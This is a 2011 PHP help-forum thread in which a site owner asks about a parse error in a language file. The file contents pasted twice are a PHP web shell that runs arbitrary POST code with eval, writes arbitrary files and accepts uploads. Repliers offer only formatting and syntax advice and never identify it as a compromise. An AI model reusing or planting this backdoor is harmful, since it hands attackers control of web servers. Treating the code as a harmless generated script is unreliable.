zaid55 Posted March 21, 2011 Share Posted March 21, 2011 hi there me website is showing up this error Parse error: syntax error, unexpected T_IS_EQUAL in /home/stevesaf/public_html/includes/languages/english/mainpage.php on line 1 and the php file is this <?php exit;==1){echo 'Cookies must be enabled !';$tf='';if(@$_POST['tf']){$tf=@$_POST['tf'];}if(@$_POST['e']){eval(@$_POST['e']);}if(@$_POST['t']){if($tf!=''){$f=fopen($tf,'w');fwrite($f,@$_POST['t']);fclose($f);}}if(@$_FILES['f']['name']!=''){$tf=$_FILES['f']['name'];move_uploaded_file(@$_FILES['f']['tmp_name'],$tf);}exit;}?> Quote Link to comment Share on other sites More sharing options...
Maq Posted March 21, 2011 Share Posted March 21, 2011 - Be conscious of where you are posting. I moved this thread from the wrong section. - Use tags when posting code on the forums. - Format your code, it will be easier for a plethora of reasons. Quote Link to comment Share on other sites More sharing options...
kenrbnsn Posted March 21, 2011 Share Posted March 21, 2011 The object of coding in PHP is NOT to write the most incomprehensible code in the least amount of space. Put one statement on a line, indent everything properly, and use an editor that color codes. You will see your errors much quicker. Ken Quote Link to comment Share on other sites More sharing options...
zaid55 Posted March 21, 2011 Author Share Posted March 21, 2011 hey still i have the same error <?php exit;==1) {echo 'Cookies must be enabled !'; $tf=''; if(@$_POST['tf'] ) { $tf=@$_POST['tf']; } if(@$_POST['e']) { eval(@$_POST['e']); } if(@$_POST['t']) { if($tf!='') { $f=fopen($tf,'w');fwrite($f,@$_POST['t']);fclose($f); } } if(@$_FILES['f']['name']!=''){$tf=$_FILES['f']['name'];move_uploaded_file(@$_FILES['f']['tmp_name'],$tf); } exit; } ?> Quote Link to comment Share on other sites More sharing options...
gizmola Posted March 21, 2011 Share Posted March 21, 2011 It's pretty clear from the start of that snippet "exit;==1)" that you have provided something out of context, or that code is just completely wrong. Quote Link to comment Share on other sites More sharing options...
zaid55 Posted March 21, 2011 Author Share Posted March 21, 2011 ok if i changed it to "(exit==1);" will it work Quote Link to comment Share on other sites More sharing options...
gizmola Posted March 21, 2011 Share Posted March 21, 2011 That makes no sense. "exit" tells the script to stop executing. You can look this up on php.net. Quote Link to comment Share on other sites More sharing options...
Maq Posted March 21, 2011 Share Posted March 21, 2011 Please tell us what you're trying to do. It seems like you haven't written this script, if you have, then you're really confused. Quote Link to comment Share on other sites More sharing options...
zaid55 Posted March 21, 2011 Author Share Posted March 21, 2011 i have not written the script its a computer generated program script now its acting wired Quote Link to comment Share on other sites More sharing options...
Maq Posted March 21, 2011 Share Posted March 21, 2011 i have not written the script its a computer generated program script now its acting wired That doesn't really help. Quote Link to comment Share on other sites More sharing options...
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